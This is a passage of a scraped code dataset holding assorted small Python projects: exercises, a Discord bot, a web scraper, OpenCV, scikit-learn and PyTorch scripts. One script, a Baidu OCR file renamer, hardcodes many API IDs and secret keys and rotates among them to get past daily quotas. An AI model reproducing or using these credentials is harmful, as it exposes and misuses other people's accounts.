添加一个可选形参,以便能够存储专辑包含的歌曲数。如果调用这个函数时指定了歌曲数,就将这个值添加到表示专辑的字典中。调用这个\n# 函数,并至少在一次调用中指定专辑包含的歌曲数。\ndef make_album(name,music,number = 0):\n if number == 0:\n album_discribe = {'name':name.title(),'music':music.title()}\n else:\n album_discribe = {'name':name.title(),'music':music.title(),'song number':str(number)}\n return album_discribe\nmusic4 = make_album('wang lihong','weiyi')\nmusic5 = make_album('huazhou','chushan',6)\nprint(music4)\nprint(music5)\n\n# 8-8 用户的专辑 :在为完成练习8-7编写的程序中,编写一个while 循环,让用户输入一个专辑的歌手和名称。获取这些信息后,使用它们来调用函\n# 数make_album() ,并将创建的字典打印出来。在这个while 循环中,务必要提供退出途径。\nactive=True\nwhile active:\n print(\"Please tell me the singer's name ande the music name:\")\n print(\"enter 'q' at any time to quit\")\n name = input('singer name:')\n if name == 'q':\n break\n music = input('music name:')\n if music == 'q':\n break\n album = make_album(name,music)\n print(album)\n","repo_name":"chuanky/PythonPractices","sub_path":"haoke/crashCourse/practices/chapter1-8/practice8-6返回值.py","file_name":"practice8-6返回值.py","file_ext":"py","file_size_in_byte":2472,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28250501445","text":"import discord\nfrom pprint import pprint\nimport random\nimport requests\nimport bs4\nfrom bs4 import BeautifulSoup\n\n#API\ntoken = \"DISCORD BOT TOKEN PURGED\"\n\nwhitelist = [764138620549988384,\n 144502614204219392]\n\n#TardBot\npayload = {\n 'login_username': 'TardBot',\n 'login_password': 'PASSWORD PURGED'\n }\n\nCrews = [\n \"• Rev†vaL •\",\n \"•| Dark Prophecy |•\",\n \"•|Morbid Purgatory|•\",\n \"* Sacred Force *\",\n \"Most Wanted\",\n \"xTard'sx\",\n \"FunkyTown\",\n \"Rev A1\",\n \"Rev A2\",\n \"..::ROMAN EMPIRE::..\",\n \"Outwar Immortals\",\n \"Arcanum\",\n \"Bolshevik Revolution\"\n]\n\nCelebration_Gifs = [\n 'https://tenor.com/view/-gif-4519334',\n 'https://tenor.com/view/yes-wwe-oh-yes-yeah-gif-7549364',\n 'https://tenor.com/view/im-the-best-racer-fox-sports-gif-5943746',\n 'https://tenor.com/view/ian-wright-arsenal-boom-celebrate-yes-gif-15563964'\n 'https://tenor.com/view/raptors-win-yes-gif-14340146'\n 'https://tenor.com/view/fist-pump-kid-happy-celebrate-victory-gif-5228605'\n 'https://tenor.com/view/will-smith-victory-smell-is-that-victory-i-smell-gif-13132961'\n]\nLoser_Gifs = [\n 'https://tenor.com/view/sad-face-cry-baby-cute-gif-16293283',\n 'https://tenor.com/view/crying-drinking-will-ferrell-gif-9981615',\n 'https://tenor.com/view/sad-girl-gif-8382180',\n 'https://tenor.com/view/sad-baby-frown-cry-tantrums-gif-4649018',\n 'https://tenor.com/view/sad-eyes-so-sad-tears-gif-13901135'\n #'https://tenor.com/view/i-am-just-regrouping-its-been-a-long-fight-drake-drizzy-laugh-now-cry-later-gif-18175179',\n \n]\n\n\nclass DiscordClient(discord.Client):\n async def on_ready(self):\n print(\"Login as\")\n print(self.user)\n print(\"-------\")\n\n\n\n\n async def on_message(message):\n embeds = message.embeds\n for embed in embeds:\n print(embed.to_dict())\n async def on_message(self, message):\n # Whenever a user other than bot says \"hi\"\n #print(message.content)\n if message.author.bot == False:\n messageContent = message.content.lower()\n if \"/roll\" in messageContent:\n r1 = random.randint(0, 1000)\n str1 = str(r1)\n Roll_Message = \" Has rolled a \"+ str1\n await message.channel.send(message.author.mention+ Roll_Message)\n\n \n if \"/archives\" in messageContent:\n await message.channel.send(random.choice(Archived_Quotes))\n if message.author.bot == True and message.author.id in whitelist:\n #print(message.content)\n if \"```Drake has spawned!\" in message.content:#.embeds(0).value:\n print(\"Drake\")\n await message.channel.send('https://tenor.com/view/drake-peeking-sliding-looking-creep-gif-18108648')\n if \"```Drake has Died.\" in message.content:\n print(message.content)\n await message.channel.send('https://tenor.com/view/i-am-just-regrouping-its-been-a-long-fight-drake-drizzy-laugh-now-cry-later-gif-18175177')\n if \"```Ganja has Died.\" in message.content:\n print(message.content)\n await message.channel.send('https://tenor.com/view/chris-tucker-smoke-cigarettes-gif-13814074')\n if \"```Zhul has Died.\" in message.content:\n print(message.content)\n await message.channel.send('https://tenor.com/view/zuul-there-is-no-dana-only-zuul-sick-gif-12114082')\n if message.embeds: # -> Returns a List[Embed]\n # Check to see if XXXX is in the embeds description/title etc.\n #print(message.embed(0))\n if \"Killed by:\" in message.embeds[0].title:\n #results = [crew for crew in Crews if (crew in message.embeds[0].title)]\n if [crew for crew in Crews if (crew in message.embeds[0].title)]:\n await message.channel.send(random.choice(Celebration_Gifs))\n return \n else:\n await message.channel.send(random.choice(Loser_Gifs))\n await message.channel.send(\"HAAAAAAAAAAAAAALP\")\n return\n \nclient = DiscordClient()\nclient.run(token)\n","repo_name":"RcMonaghan/RevFunBot","sub_path":"GifBot.py","file_name":"GifBot.py","file_ext":"py","file_size_in_byte":4279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27505637757","text":"# coding=utf-8\n\n# https://leetcode-cn.com/problems/valid-parentheses/\n\nclass Solution(object):\n def isValid(self, s):\n \"\"\"\n :type s: str\n :rtype: bool\n \"\"\"\n if not s:\n return True\n def is_pair(s1, s2):\n if s1 == '(' and s2 == ')':\n return True\n if s1 == '{' and s2 == '}':\n return True\n if s1 == '[' and s2 == ']':\n return True\n return False\n l = []\n l.append(s[0])\n for i in range(1, len(s)):\n if l:\n if is_pair(l[0], s[i]):\n del l[0]\n else:\n l.insert(0, s[i])\n else:\n l.insert(0, s[i])\n if l:\n return False\n return True\n","repo_name":"zhuwenbo1988/nlp","sub_path":"leetcode/easy/string/20_isValid.py","file_name":"20_isValid.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"30612692757","text":"import requests\nfrom bs4 import BeautifulSoup\nimport json\n\n\n\n\n\n# INITIALIZE VARIABLES\noutput = {\n 'Abs' : [],\n 'Arms' : [],\n 'Back' : [],\n 'butt-hips' : [],\n 'Chest' : [],\n 'full-body-integrated' : [],\n 'legs-calves-and-shins' : [],\n 'Neck' : [],\n 'Shoulders' : [],\n 'legs-thighs' : [],\n}\n\nbase_url = 'https://www.acefitness.org/resources/everyone/exercise-library/body-part/'\n\n\n\n\n\n\n# loop through body parts\nfor slug in output:\n print(\"searching: \" , slug , \"...\")\n\n # fetch data page 1\n data = requests.get( base_url + slug )\n page = 1\n repeats = 0\n repeat_threashold = 20\n \n # while no duplicates\n end = False\n while not end:\n # convert html into soup\n html_data = BeautifulSoup( data.text , features=\"html.parser\" )\n \n # search / loop soup for workout titles\n page_exercises = html_data.findAll( class_ = \"exercise-card-grid__cell\" ) \n for e in range(0 , len(page_exercises) , 1):\n title = page_exercises[e].find(class_ = \"exercise-card__title\").get_text(strip=True)\n image = page_exercises[e].find(class_ = \"exercise-card__image lazybg lazybg-inline\") \n image = image['data-lazybg']\n https_link = a = page_exercises[e].find('a', href=True)['href']\n https_link = f\"https://www.acefitness.org{https_link}\"\n\n\n # if title not in array\n json_addition = [title , image , https_link]\n if json_addition not in output[slug]:\n output[slug].append( json_addition )\n else:\n # else add to repeat tally (too many repeats means pages reset)\n repeats += 1 \n # close the loop of items\n \n # EXIT STRATEGY\n if repeats > repeat_threashold: end = True\n if end: break\n \n # close the page loop\n if end:\n break\n else:\n # go to page 2\n page += 1\n data = requests.get( base_url + slug + f\"/?page={page}\" )\n print( \"*\" * page)\n\n\n\n\n\n\n\n# WRITE TO FILE\nwith open( \"workouts.json\" , \"w\" , encoding=\"utf-8\" ) as f:\n output_json = json.dump( output , f )\n\n\n\n\n","repo_name":"ItMeansBigMountain/muscleMadness_API","sub_path":"extract_workouts.py","file_name":"extract_workouts.py","file_ext":"py","file_size_in_byte":2227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10811562312","text":"from view.view import *\n\nquiz = {\n \"Is sun is star\" : [\"yes\", \"no\"],\n \"which keyword is used to create a function in Python\" : [\"create\",\"def\",\"func\"],\n \"what is 2 * 2 + 3 ?\" : [10,0,7]\n}\n\ncorrect_answers = [0,1,2]\n\ndef start_quiz():\n score = 0\n question_counter = 0\n for question, answer in quiz.items():\n output = create_quiz_window(question,answer)\n if output:\n for key,value in output.items():\n if value and int(key) == correct_answers[question_counter]:\n score+=1\n else:\n break\n question_counter+=1\n\n\n show_score(score)\n\nif __name__ == \"__main__\":\n start_quiz()\n\n\n\n","repo_name":"sameernegi17/PythonSmallProjects","sub_path":"Quiz/application/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19633436233","text":"from django.urls import path\nfrom . import views\n\n\nurlpatterns = [\n # path(\"\", views.ListDishes.as_view(), name=\"dishes\"),\n path(\"update//\", views.UpdateDish.as_view(), name=\"detail-dish\"),\n path(\"calories//\", views.CalculateDishCalories, name=\"calories\"),\n path(\"\", views.ListDishes.as_view(), name=\"dishes\"),\n path(\"add/\", views.CreateDish.as_view(), name=\"dish_add\"),\n]\n","repo_name":"Molson-uc/CaloryCalculator","sub_path":"CaloryCalculator/food/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20251896647","text":"lista = list()\npair = list()\nodd = list()\n\ncolor = '\\33[1;35m'\nclear = '\\33[0;0m'\n\nprint(color)\nprint('Minha Resolução: ', end='')\nprint(clear)\nwhile True:\n choice = ' '\n lista.append(int(input('Digite um número: ')))\n while choice not in 'SN':\n choice = str(input('Quer continuar? [S/N] ')).strip().upper()[0]\n if choice == 'N':\n break\nprint('-=' * 40)\nprint(f'A lista completa é {lista}')\nfor n in lista:\n if n % 2 == 0:\n pair.append(n)\n else:\n odd.append(n)\nprint(f'A lista de pares é {pair}')\nprint(f'A lista de ímpares é {odd}')\n","repo_name":"nlnadialigia/desafios-cev-python","sub_path":"challenges/world-03/challenge082.py","file_name":"challenge082.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14002273530","text":"import cv2\n\nframeWidth = 64\nframeHeight = 480\nminArea = 200\ncolor = (255, 0, 255)\n# 先整一个分类器对象,这个对象可以调用一些分类方法(我猜的\nnPlateCascad = cv2.CascadeClassifier(\"Resources/haarcascade_russian_plate_number.xml\")\ncap = cv2.VideoCapture(0)\ncap.set(3, frameWidth)\ncap.set(4, frameHeight)\ncount = 0 # 保存车牌的序号\n\nwhile True:\n success, img = cap.read()\n imgGray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n numberPlate = nPlateCascad.detectMultiScale(imgGray, 1.1, 10)\n for (x, y, w, h) in numberPlate:\n area = w * h\n if area > minArea:\n cv2.rectangle(img, (x, y), (x + w, y + h), color, 2)\n cv2.putText(img, \"Car Numbers\", (x, y - 5), cv2.FONT_HERSHEY_TRIPLEX, 1, color, 2)\n imgRoi = img[y:y + h, x:x + w]\n cv2.imshow(\"ROI\", imgRoi)\n cv2.imshow(\"result\", img)\n\n # cv2.waitKey(1) 1为参数,单位毫秒,表示间隔时间\n # ord(' ')将字符转化为对应的整数(ASCII码)\n # waitKey(int delay)键盘绑定函数,共一个参数,表示等待毫秒数,将等待特定的几毫秒,看键盘是否有输入,如果delay大于0,那么超过delayms后,如果没有按键,\n # 那么会返回-1,如果按键那么会返回键盘值,返回值为ASCII值。\n # 如果其参数为0,则表示无限期的等待键盘输入。(其实就是不让while break)\n if cv2.waitKey(1) & 0xFF == ord('s'):\n cv2.imwrite(\"Resources/Scanned/NoPlate_\" + str(count) + \".jpg\", imgRoi)\n # 标记下图片被保存,先搞个绿色底,再加上字\n cv2.rectangle(img, (0, 200), (640, 300), (0, 255, 0), cv2.FILLED)\n cv2.putText(img, \"Scan Saved\", (150, 265), cv2.FONT_HERSHEY_DUPLEX,\n 2, (0, 0, 255), 2)\n cv2.imshow(\"save\",img)\n cv2.waitKey(500)\n count+=1\n","repo_name":"JOYCHEN777/openCV-Python-","sub_path":"project3.py","file_name":"project3.py","file_ext":"py","file_size_in_byte":1868,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"69839460532","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Projeto Ciência de Dados - Previsão de Vendas\n# \n# - Nosso desafio é conseguir prever as vendas que vamos ter em determinado período com base nos gastos em anúncios nas 3 grandes redes que a empresa Hashtag investe: TV, Jornal e Rádio\n# \n# - Base de Dados: https://drive.google.com/drive/folders/1o2lpxoi9heyQV1hIlsHXWSfDkBPtze-V?usp=sharing\n\n# ### Passo a Passo de um Projeto de Ciência de Dados\n# \n# - Passo 1: Entendimento do Desafio\n# - Passo 2: Entendimento da Área/Empresa\n# - Passo 3: Extração/Obtenção de Dados\n# - Passo 4: Ajuste de Dados (Tratamento/Limpeza)\n# - Passo 5: Análise Exploratória\n# - Passo 6: Modelagem + Algoritmos (Aqui que entra a Inteligência Artificial, se necessário)\n# - Passo 7: Interpretação de Resultados\n\n# # Projeto Ciência de Dados - Previsão de Vendas\n# \n# - Nosso desafio é conseguir prever as vendas que vamos ter em determinado período com base nos gastos em anúncios nas 3 grandes redes que a empresa Hashtag investe: TV, Jornal e Rádio\n\n# #### Importar a Base de dados\n\n# In[1]:\n\n\nimport pandas as pd\n\ntabela = pd.read_csv(\"advertising.csv\")\ndisplay(tabela)\n\n\n# #### Análise Exploratória\n# - Vamos tentar visualizar como as informações de cada item estão distribuídas\n# - Vamos ver a correlação entre cada um dos itens\n\n# In[2]:\n\n\nimport matplotlib.pyplot as plt # pacote de gráfico\nimport seaborn as sns # pacote de gráfico\n\nsns.heatmap(tabela.corr(), cmap=\"Wistia\", annot=True)\nplt.show()\n\nsns.pairplot(tabela)\nplt.show()\n\n\n# #### Com isso, podemos partir para a preparação dos dados para treinarmos o Modelo de Machine Learning\n# \n# - Separando em dados de treino e dados de teste\n\n# In[3]:\n\n\nfrom sklearn.model_selection import train_test_split\n\n# separar dados de X e de Y\n\n# y - é quem a gente quer descobrir\ny = tabela[\"Vendas\"]\n\n# x - é o resto\nx = tabela.drop(\"Vendas\", axis=1)\n\n# aplicar o train_test_split\nx_treino, x_teste, y_treino, y_teste = train_test_split(x, y)\n\n\n# #### Temos um problema de regressão - Vamos escolher os modelos que vamos usar:\n# \n# - Regressão Linear\n# - RandomForest (Árvore de Decisão)\n\n# In[4]:\n\n\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.ensemble import RandomForestRegressor\n\nmodelo_regressaolinear = LinearRegression()\nmodelo_randomforest = RandomForestRegressor()\n\nmodelo_regressaolinear.fit(x_treino, y_treino)\nmodelo_randomforest.fit(x_treino, y_treino)\n\n\n# #### Teste da AI e Avaliação do Melhor Modelo\n# \n# - Vamos usar o R² -> diz o % que o nosso modelo consegue explicar o que acontece\n\n# In[5]:\n\n\nprevisao_regressaolinear = modelo_regressaolinear.predict(x_teste)\nprevisao_randomforest = modelo_randomforest.predict(x_teste)\n\nfrom sklearn import metrics\n\n# R2 > 0% a 100%, quanro maior, melhor\nprint(metrics.r2_score(y_teste, previsao_regressaolinear))\nprint(metrics.r2_score(y_teste, previsao_randomforest))\n\n\n# #### Visualização Gráfica das Previsões\n\n# In[7]:\n\n\n# RandomForest é o melhor modelo\ntabela_auxiliar = pd.DataFrame()\ntabela_auxiliar[\"y_teste\"] = y_teste\ntabela_auxiliar[\"regressao linear\"] = previsao_regressaolinear\ntabela_auxiliar[\"random forest\"] = previsao_randomforest\n\nplt.figure(figsize=(15, 5))\nsns.lineplot(data=tabela_auxiliar)\nplt.show()\n\n\n# #### Qual a importância de cada variável para as vendas?\n\n# In[ ]:\n\n\n# como fazer uma nova previsao\n# importar a nova_tabela com o produtos (a nova tabela tem que ter os dados de TV, Radio e Jornal)\nmodelo_randomforest.predict(nova_tabela)\nprint(previsao)\n\n\n# In[10]:\n\n\nsns.barplot(x=x_treino.columns, y=modelo_randomforest.feature_importances_)\nplt.show()\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"ClaudianeGomes0409/Modelo_Preditivo-Vendas","sub_path":"Modelo Preditivo - Vendas.py","file_name":"Modelo Preditivo - Vendas.py","file_ext":"py","file_size_in_byte":3648,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74497664371","text":"\"\"\"\nОчистка данных\nМестный провайдер собирает большое количество логов, однако \nзачастую файлы с отчётами приходят в негодность.\nСамые частые проблемы — ошибки вида ## и @@@.\nНапишите программу, которая избавляется от:\n\nДвух символов # в начале информационных сообщений;\nСтрок, заканчивающихся тремя символами @.\n\nФормат ввода\n\nВводятся строки отчёта. Признаком завершения ввода считается\nпустая строка.\n\nФормат вывода\nОчищенные данные.\n\nПример 1\nВвод\nHello, world\nHello, @@@\n##Goodbye\n\nВывод\nHello, world\nGoodbye\nПример 2\nВвод\nFirst Message\n##Second Message\n@@@Third Message##\n##Fourth Message@@@\n\nВывод\nFirst Message\nSecond Message\n@@@Third Message##\n\"\"\"\n\ndef input_string_list():\n string_list = list()\n while True:\n string = input()\n if string == \"\":\n return string_list\n string_list.append(string)\n \n\nstring_list = input_string_list()\n\nresult = list()\n\nfor i in string_list:\n if i.startswith(\"##\") and not i.endswith(\"@@@\"):\n result.append(i.lstrip(\"#\"))\n elif not i.endswith(\"@@@\"):\n result.append(i)\nprint(*result, sep='\\n')\n","repo_name":"Palex068/PythonData","sub_path":"PythonYandex/3.1/D.py","file_name":"D.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"6844551980","text":"'''Semantic Similarity: starter code\r\n\r\nAuthor: Michael Guerzhoy. Last modified: Nov. 18, 2015.\r\n'''\r\n\r\nimport math\r\nimport re\r\n\r\ndef norm(vec):\r\n '''Return the norm of a vector stored as a dictionary,\r\n as described in the handout for Project 3.\r\n '''\r\n \r\n sum_of_squares = 0.0 # floating point to handle large numbers\r\n for x in vec:\r\n sum_of_squares += vec[x] * vec[x]\r\n \r\n return math.sqrt(sum_of_squares)\r\n\r\n\r\ndef cosine_similarity(vec1, vec2):\r\n len1 = 0\r\n len2 = 0\r\n dot_product=0\r\n for k1,v1 in vec1.items():\r\n if k1 in vec2.keys():\r\n dot_product+=vec1[k1]*vec2[k1]\r\n len1+=v1**2\r\n for k2,v2 in vec2.items():\r\n len2+=v2**2\r\n return dot_product/(len1*len2)**0.5\r\n\r\n\r\ndef build_semantic_descriptors(sentences):\r\n d = {}\r\n for sentence in sentences:\r\n for word in sentence:\r\n if word not in d:\r\n d[word]={}\r\n\r\n for sentence in sentences:\r\n for word in sentence:\r\n other_words = list(sentence)\r\n while word in other_words:\r\n other_words.remove(word)\r\n for others in other_words:\r\n if word not in d[others]:\r\n d[others][word]=1\r\n else:\r\n d[others][word]+=1\r\n return d\r\n \r\n\r\ndef build_semantic_descriptors_from_files(filenames):\r\n test=open('Tolstoy.txt','r',encoding = 'utf-8')\r\n lines = (''.join(test.readlines())).lower()\r\n lines = lines.replace('\\n',' ')\r\n lines = lines.replace('\"','')\r\n lines = lines.replace('\\'','')\r\n sentences=(re.split( r',|\\.|\\!|\\?', lines))\r\n load = []\r\n for sentence in sentences:\r\n sen = sentence.split()\r\n load.append(sen)\r\n d = build_semantic_descriptors(load)\r\n return d\r\n\r\n\r\n\r\n\r\n\r\ndef most_similar_word(word, choices, semantic_descriptors, similarity_fn):\r\n\r\n sim_word=''\r\n sim=0\r\n for c in choices:\r\n temp_sim = similarity_fn(semantic_descriptors[word],semantic_descriptors[c])\r\n if temp_sim>sim:\r\n sim=float(temp_sim)\r\n sim_word = c\r\n return sim_word\r\n\r\n\r\ndef run_similarity_test(filename, semantic_descriptors, similarity_fn):\r\n \r\n\r\n test = open(test.txt,'r')\r\n correct =0\r\n line = test.readline()\r\n while line!='EOF':\r\n tests+=1\r\n ls = line.split()\r\n word = ls[0]\r\n answer = ls[1]\r\n choices = ls[2:]\r\n if most_similar_word(word,choices,semantic_descriptors,similarity_fn)==answer:\r\n correct +=1\r\n line = test.readline()\r\n print(correct/tests)\r\n\r\n\r\ndef main():\r\n\r\n '''sen=[['i','am','a','person'],['i','am','also','a','human']]\r\n \r\n d=build_semantic_descriptors(sen)\r\n for key in d:\r\n print(key,d[key])'''\r\n #start = time.time()\r\n build_semantic_descriptors_from_files(['Proust.txt','Tolstoy.txt'])\r\n #end = time.time()\r\n #print(end-start)\r\n\r\n\r\nmain()\r\n","repo_name":"zelongzhang/synonyms","sub_path":"synonyms_starter.py","file_name":"synonyms_starter.py","file_ext":"py","file_size_in_byte":2963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42275152613","text":"from aip import AipOcr\nimport time\nimport os\n\n\"\"\" 你的 APPID AK SK \"\"\"\n\nAPP_ID = \"15995762\"\nAPI_KEY = \"77l2n4AhcyCDBefdxz8gvofo\"\nSECRET_KEY = \"SnjB4lsHe0IjwrOygAZPk51fnD8v7WXd\"\n\nL_id = [[\"11251755\", \"yGxZfkXBADO4GSqu45UUYtEO\", \"oFGYEoqXCl0Al5GbQkNjrWURGGomYAKF\"],\n [\"14558774\", \"XUjxnyLurAtq1VqRC1tkvqvB\", \"vAzSvyyNvwTrE1ZdYGgoac9STrGW9Gbk\"],\n [\"14558623\", \"gyyZqcqvgASVfU1M01sKUGuK\", \"Hm2yhe3XIvNq2YtLw5vrsqHOCz9v1guC\"],\n [\"14558656\", \"ARwQ0RloVgcSVSZlKH3W0L3B\", \"grRXr8ViHTdpgNAksZvkOwu3N6WgFfYP\"],\n [\"14558705\", \"CwOiX1VRrX4ueA9g0XoklAjo\", \"PCGoZG5DCPTGZ85IdW9RHmBwQzmnbHM9\"],\n [\"14391307\", \"8U3loMb3xqvsDzX1WSOogQiE\", \"LKGsGR5zwknwtq83uWhi5SgKZ8mnafB6\"],\n [\"14559968\", \"q2R7RHpqNZG0wzcogBUO67T7\", \"r18WRtGttCMOPG70zHelPuxDcenG1Qyg\"],\n [\"14560105\", \"KX7QtFLNTkfQbaR5e9kZGw7c\", \"SHSD7en7wgbz5Po6Gb85GwqwcnNakMtG\"],\n [\"14561611\", \"6oYssZPLKFXr2FGbMIGZEvq0\", \"7oOT1IQ25un9eIvTRpiDzdUb67U0ulhm\"],\n [\"14563236\", \"Lb0a3XQgHaUWemWXGwueBLY1\", \"iD88xE8NN1hHGEOImshrv4nBO3psvj76\"],\n [\"14306795\", \"uAvAe3EA6wyrWFGdO5B9ifHH\", \"FEbg7djDxOojRlEyzWgS0igjKHSdsOto\"],\n [\"11251755\", \"yGxZfkXBADO4GSqu45UUYtEO\", \"oFGYEoqXCl0Al5GbQkNjrWURGGomYAKF\"],\n [\"14557197\", \"cHY1O4pGBeGMas6mxYzoQK1U\", \"QhDDtg8nzcWeyIdccOXI15jaBlPwzPRS\"],\n [\"14310442\", \"RhDWkPAPo26Xnhy2GZlKb4ma\", \"kzR1QbkWyfNGoqQkEoNMW19CMduHsiIO\"],\n [\"14374610\", \"fioGkSgNAYwRu7SoHDlyVILc\", \"PlV3agNn5Amp5MRZGMlZvcYifjfkFjfZ\"],\n [\"14558616\", \"EuoOxV1tMDBXe5rFhNfFvw93\", \"zW5ZN6jRjkdvGsjLVyl18MKMyRSok8Mb\"],\n [\"14563626\", \"35lcdq7pYbLg5GwnijGPq77S\", \"hd3UNhEdE7cpLtGWGvoKckNZKTz1gTOf\"],\n [\"15995762\", \"77l2n4AhcyCDBefdxz8gvofo\", \"SnjB4lsHe0IjwrOygAZPk51fnD8v7WXd\"]]\n\n# client = AipOcr(APP_ID, API_KEY, SECRET_KEY)\nL_id_idx = 0\nclient = AipOcr(L_id[L_id_idx][0], L_id[L_id_idx][1], L_id[L_id_idx][2])\n\n\"\"\" 读取图片 \"\"\"\n\n\ndef get_file_content(filePath):\n with open(filePath, 'rb') as fp:\n return fp.read()\n\n\ndef ocr_file(file):\n image = get_file_content(file)\n \"\"\" 调用通用文字识别, 图片参数为本地图片 \"\"\"\n global client\n global L_id_idx\n res = client.basicGeneral(image)\n #print(res)\n # print(res['words_result'][0]['words'])\n\n if (True == ('error_code' in res)):\n error_code = res['error_code']\n if (18 == error_code):\n print(\"warn::: Open api daily request limit reached\")\n L_id_idx += 1\n client = AipOcr(L_id[L_id_idx][0], L_id[L_id_idx][1], L_id[L_id_idx][2])\n res = client.basicGeneral(image)\n\n try:\n ocr_res = res['words_result'][0]['words']\n except:\n ocr_res = \"0\"\n\n return ocr_res\n\n\nfile_arr = []\n\n\ndef check_folder_files(folder, file=\"jpg\", ):\n g = os.walk(folder)\n for path, d, filelist in g:\n for filename in filelist:\n if filename.endswith('jpg'):\n file_arr.append(os.path.join(path, filename))\n return file_arr\n\n\nfiles = check_folder_files(\"/media/data_2/everyday/0614/2222/2~10\")\n#print(files)\n\ncnt = 0\nfor file in files:\n cnt += 1\n current_path = os.path.dirname(file)\n current_file = os.path.basename(file)\n file_name = current_file.split(\".\")[0] # 文件名\n file_abbr = \".\" + current_file.split(\".\")[1] # 文件后缀\n\n # print(file)\n ocr_name = ocr_file(file)\n print(\"账号%d ::: 识别计数=%d ::: 识别结果=%s\"%(L_id_idx,cnt,ocr_name))\n ocr_name = ocr_name.replace('/','@')\n\n # 未识别, 后面添加 _err\n if ocr_name == \"0\":\n new_file_name = file_name + \"_err\" + file_abbr\n else:\n # C:\\Users\\chenwei\\Desktop\\test\\716_646人型.jpg\n # 一致, 后面添加 .jpg\n if current_file.split(\".\")[0].split(\"_\")[1] == ocr_name:\n new_file_name = file_name + \"_ok\" + file_abbr\n else:\n new_file_name = file + \"_\" + ocr_name + \"_check\" + file_abbr\n\n new_file = current_path + os.sep + new_file_name # new_file = current_path +\"\\\\\" + new_file_name\n os.rename(file, new_file_name)\n time.sleep(0)\n# print(file)\n# print(ocr_name)\n\n## 1. python 遍历目录下全部图片:\n## 2. python 获取文件名,获取识别结果,\n## 3. 改名\n# os.rename(os.path.join(path,file),os.path.join(path,str(count)+\".jpg\"))\n\n","repo_name":"cheenwe/cheenwe.github.io","sub_path":"_posts/sh/python/baidu_ai_ocr.py","file_name":"baidu_ai_ocr.py","file_ext":"py","file_size_in_byte":4275,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"} +{"seq_id":"24918979395","text":"import torch\r\nimport numpy as np\r\nfrom tqdm import tqdm\r\nimport matplotlib.pyplot as plt\r\nfrom torch.utils.data import TensorDataset, DataLoader\r\nfrom utils import DataGenerator\r\n\r\nfrom convnet_solutions import CustomCNN\r\n\r\nBATCH = True\r\nBATCH_SIZE = 150\r\nEPOCHS = 300\r\n\r\nif __name__ == \"__main__\":\r\n\r\n # fix seed for random generator\r\n seed = 123\r\n np.random.seed(seed)\r\n torch.manual_seed(seed)\r\n\r\n # generate noisy data\r\n dg = DataGenerator()\r\n dataset = dg.load(\"notmnist\")\r\n trainset, testset = dataset\r\n # prepare train data\r\n x_train = trainset[:,:-1]\r\n y_train = trainset[:,-1].reshape(-1)\r\n # prepare test data\r\n x_test = testset[:,:-1]\r\n y_test = testset[:,-1].reshape(-1)\r\n\r\n # extract data shape\r\n nsamples = x_train.shape[0]\r\n nfeatures = x_train.shape[1]\r\n nclasses = len(set(y_train))\r\n\r\n # reshape data to image format\r\n size = int(np.sqrt(nfeatures))\r\n x_train = x_train.reshape(x_train.shape[0], 1, size, size)\r\n x_test = x_test.reshape(x_test.shape[0], 1, size, size)\r\n\r\n # Q. what is the value \"1\" in the reshape function?\r\n # Ottengo un input 1xHxW, quindi è per avere l'input corretto\r\n\r\n # znorm\r\n mu = np.mean(x_train, axis=0)\r\n var = np.var(x_train, axis=0)\r\n x_train = x_train - mu\r\n x_train = x_train / var\r\n x_test = x_test - mu\r\n x_test = x_test / var\r\n\r\n # subsampling\r\n nsamples = int(nsamples*0.1)\r\n x_train = x_train[:nsamples]\r\n y_train = y_train[:nsamples]\r\n\r\n # initialize model\r\n inshape = (1,size,size)\r\n model = CustomCNN(inshape, nclasses)\r\n\r\n # [optional] set destination device (cpu vs gpu)\r\n device = torch.device(\"cuda:0\") if torch.cuda.is_available() else torch.device(\"cpu\")\r\n model.to(device)\r\n \r\n # create optimizer\r\n optimizer = torch.optim.Adam(model.parameters(), lr=0.001)\r\n\r\n # create loss criterion\r\n criterion = torch.nn.CrossEntropyLoss()\r\n\r\n #================================================================\r\n # add variable to store history\r\n history = {}\r\n history[\"accuracy\"] = []\r\n history[\"loss\"] = []\r\n #================================================================\r\n\r\n tensor_x = torch.from_numpy(x_train)\r\n tensor_y = torch.from_numpy(y_train)\r\n my_dataset = TensorDataset(tensor_x,tensor_y) # create your datset\r\n my_dataloader = DataLoader(my_dataset, batch_size=BATCH_SIZE, shuffle=True) # create your dataloader\r\n\r\n for ep in range(EPOCHS):\r\n model.train()\r\n for sample, target in tqdm(my_dataloader):\r\n # convert to pytorch\r\n xin = sample.type(torch.FloatTensor).to(device)\r\n yin = target.type(torch.LongTensor).to(device)\r\n # forward pass - compute train predictions\r\n yout = model(xin)\r\n # compute loss value\r\n loss = criterion(yout, yin)\r\n # backward pass - update the weights\r\n optimizer.zero_grad()\r\n loss.backward()\r\n optimizer.step()\r\n\r\n #============================================================\r\n if ep % 